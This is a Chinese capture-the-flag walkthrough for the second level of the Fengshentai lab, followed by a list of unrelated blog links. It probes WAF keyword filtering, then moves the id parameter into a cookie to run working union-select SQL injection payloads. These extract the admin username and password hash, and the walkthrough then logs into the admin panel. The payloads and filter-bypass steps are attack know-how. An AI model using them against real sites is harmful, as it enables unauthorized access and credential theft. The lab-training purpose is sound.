封神台第二关

点击传送门

来到目标公司网站

可以看到有很多的网页

现在我们需要寻找注入点,注入点存在的页面一般可以明显的显示出正确页面和错误页面

这里可以看到有新闻页面

有新闻的一般选择新闻页面

我们点击第一个新闻

进来后可以看到

URL为

http://g8wepfcp.ia.aqlab.cn/shownews.asp?id=171

开始试探

(1)判断waf拦截的关键字

'触发waf

and触发waf

or触发waf

select触发waf

union order by不会触发waf

--+不能被数据库识别,要使用#

(2)联合查询注入尝试

得到注入点数量,构建联合查询语句

?id=171 union select 1,2,3,4,5,6,7,8,9,10#

利用SQL绕过手法使得select可用

试图转码绕过失败

试图利用/**/和/*!*/绕过失败

放弃联合查询

(3)cookies绕过尝试

尝试cookies绕过

直接访问http://g8wepfcp.ia.aqlab.cn/shownews.asp

利用bp抓包,将原cookies值

Cookie: ASPSESSIONIDACQTQQAS=OKOJFAODPDJCCFEKBAECGJDK

改为

Cookie: id=171

访问网页,发现访问的页面正常输出,cookies可以当值来用

将值改为联合查询语句

并猜测表admin的存在性

Cookie: id=171+union+select+1,2,3,4,5,6,7,8,9,10+from+admin

页面返回正常,说明admin表存在

且页面返回的字段有2,3,7,8,9

这时可以将注入点2,3,7,8,9替换为字段名,用这种方式来猜测字段的存在,并体现返回值

Cookie: id=171+union+select+1,username,password,4,5,6,7,8,9,10+from+admin

页面返回

username:admin

password:b9a2a2b5dffb918c

利用bp解码后

password为welcome

利用御剑后台扫描工具

得到后台网站

http://g8wepfcp.ia.aqlab.cn/admin/Login.asp

输入账户密码

成功通过

相关推荐
米羊1213 小时前
Linux 内核漏洞提权
网络·安全·web安全
while(1){yan}4 小时前
Spring事务
java·数据库·spring boot·后端·java-ee·mybatis
盛世宏博北京4 小时前
高效环境管控:楼宇机房以太网温湿度精准监测系统方案
开发语言·数据库·php·以太网温湿度变送器
运维行者_4 小时前
2026 技术升级,OpManager 新增 AI 网络拓扑与带宽预测功能
运维·网络·数据库·人工智能·安全·web安全·自动化
gfdhy4 小时前
【C++实战】多态版商品库存管理系统:从设计到实现,吃透面向对象核心
开发语言·数据库·c++·microsoft·毕业设计·毕设
Elastic 中国社区官方博客4 小时前
Elasticsearch:上下文工程 vs. 提示词工程
大数据·数据库·人工智能·elasticsearch·搜索引擎·ai·全文检索
小唐同学爱学习4 小时前
如何解决海量数据存储
java·数据库·spring boot·mysql
wWYy.5 小时前
详解redis(15):缓存雪崩
数据库·redis·缓存
zzcufo5 小时前
多邻国第五阶段第13部分
java·开发语言·数据库
这周也會开心5 小时前
Redis相关知识点
数据库·redis·缓存